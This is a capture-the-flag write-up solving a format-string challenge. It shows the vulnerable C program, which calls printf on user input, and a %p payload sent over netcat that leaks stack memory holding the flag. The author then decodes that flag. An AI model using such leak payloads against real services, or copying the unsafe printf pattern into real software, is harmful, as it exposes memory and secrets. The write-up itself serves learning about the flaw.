A problem to exploit the stack with format string attack.
When I access the program, it
- prompts a question
- and it takes user input
- then prints the input
$ nc rivit.dev 10003
What is your favorite format tag? some_text
some_text
The problem comes with the program source code and its binary.
#include <stdlib.h>
#include <stdio.h>
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
char flag[64], buffer[64];
FILE *f = fopen("./flag.txt", "rt");
if (f == NULL) {
puts("No flag.txt found, contact an admin");
return 1;
}
fgets(flag, 64, f);
fclose(f);
printf("What is your favorite format tag? ");
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
return 0;
}
Since it takes user input and print, it might be a problem for buffer overflow. Let’s examine their addresses with Cutter.
I found the flag is read and stored at 0x55f825d31480
and the variable from
user input is stored at 0x7ffe188c5990
. In addition, the input size is
regulated, I cannot use buffer overflow to print it.
Let’s go back to the source code. There is something unfamiliar to me in C,
printf(buffer);
. What we usually do is printf("%s\n", buffer);
or something
similar. Is there any exploit?
After a research, I found Format string
attack. Let’s try
with %p
, so hopefully we can get something useful from the stack.
$ nc rivit.dev 10003
What is your favorite format tag? %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
0x7f6f45047b23 0xfbad208b 0x7f6f44f42992 (nil) (nil) (nil) 0x55b5639842a0 0x6e7261656c465443 0x5f336b316c5f317b 0x745f74346d723066 0x7d3030745f356734 0xa 0x1 0x55b5638c3040 0x7f6f4507785c 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070
The interesting part is 0x6e7261656c465443 0x5f336b316c5f317b 0x745f74346d723066 0x7d3030745f356734
. I obtained
nraelFTC_3k1l_1{t_t4mr0f}00t_5g4
via converting into ASCII. It has both
brackets and anagram of CTF. Let’s sort the string by block.
}00t_5g4t_t4mr0f_3k1l_1{nraelFTC
and its reversed string
CTFlearn{1_l1k3_f0rm4t_t4g5_t00}
.
Takeaways
I spent 4 hours of reverse engineering to make stack overflow happen with both disassembly and decompiler output. However, after visiting to the original C source code, I found something wrong in a few seconds. Soon I could find the well-known vulnerability on OWASP.
- I should be more carefully walk through the original C source code.
- When seeing a user input directly as output, check for potential format string attack if possible.